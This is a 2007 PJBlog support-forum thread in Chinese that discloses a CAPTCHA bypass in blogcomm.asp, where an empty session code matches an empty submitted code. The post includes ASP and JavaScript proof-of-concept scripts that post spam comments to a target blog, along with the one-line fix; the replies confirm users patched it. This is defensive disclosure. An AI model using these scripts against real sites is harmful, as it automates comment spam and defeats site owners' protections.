官方首页 | 无图版 | BBS首页
PJBlog2最新版本下载|升级包(2007.12.23) Bo-Blog V2.1.0 到 PJBlog 2.7 的转换程序 WP 2.3 到 PJ 2.6/2.7 的转换程序 手把手教您在PJForum上传图片
PJBlog技术支持论坛使用问题总索引 手术式讲解视频教程如何制作 PJblog2.7.05终极资源包电驴免费下载 风格使用区-HOT! 凤凰行动开始!
发新话题
打印

PJBLOG严重外部提交漏洞以及广告机防治方案

本主题由 thomas 于 2007-5-31 17:12 解除高亮

PJBLOG严重外部提交漏洞以及广告机防治方案

注意:2.7 build 04 已解决此问题,请大家更新至最新版本

很难理解为什么会有那么多的广告机,而且即使验证码显示为空白照样会有很多广告。最后终于发现是因为PJBLOG存在严重外部提交漏洞。
漏洞成因:
引用:
blogcomm.asp文件对验证码判断不严格。
如果用户没有请求过GetCode.asp文件,那么服务器端Session里面的GetCode值为空,而用户提交的数据里面验证码也为空,这样刚好空等于空,反而通过了验证码验证。
考虑下面的外部提交代码(请谨慎使用):
ASP版:
复制内容到剪贴板
代码:
<%@ LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
Dim XMLHTTP, Param
Param = "action=post&logID=118&username=" & Server.URLEncode("我是广告机!") & "&Message=" & Server.URLEncode("我是广告机!")
Set XMLHTTP = Server.CreateObject("Msxml2.XMLHTTP")
XMLHTTP.open "POST", "http://localhost/blog/blogcomm.asp", false '这里的localhost为攻击对象
XMLHTTP.setRequestHeader "Content-Length", Len(Param)
XMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
XMLHTTP.send(Param)
%>
JavaScript版
复制内容到剪贴板
代码:
<script type="text/javascript">
var XMLHTTP, Param;
Param = "action=post&logID=114&username=" + encodeURI("我是广告机!") + "&Message=" + encodeURI("我是广告机!");
XMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
XMLHTTP.open("POST", "http://localhost/blog/blogcomm.asp", false); // 这里的localhost为攻击对象
XMLHTTP.setRequestHeader("Content-Length", Param.length);
XMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XMLHTTP.send(Param);
</script>
这样就可以绕过验证码从外部提交表单,散播广告。

修正方式:
修改blogcomm.asp文件,在94行的If判断表达式中加入
引用:
or IsEmpty(Session("GetCode"))
如下:
引用:
IF (memName=empty or blog_validate=true) and (cstr(lcase(Session("GetCode")))<>cstr(lcase(validate)) Or IsEmpty(Session("GetCode"))) then
修改过后的BlogComm.asp文件:

注:留言板问题请参考44楼:http://bbs.pjhome.net/viewthread ... mp;page=5#pid130624
附件: 您所在的用户组无法下载或查看附件

TOP

沙发支持~~我已经修改了~~哇咔咔!
异次元の世界 http://www.x-force.cn

TOP

提示: 作者被禁止或删除 内容自动屏蔽
My Blog


中国日本省省委书记

TOP

已修改,观察效果中
『沙之轩』cosh's blog
诚招建博半年以上/更新不断/友情连接

TOP

修改了~~!
个人主页:HTTP://TSOUP.CN/

TOP

修改了
试看效果

TOP

厉害

TOP

我说嘛,打了那么多补丁,还是有垃圾评论,终于被楼主发现原因了,谢谢啦!

TOP

厉害哈哈

TOP

TOP

发新话题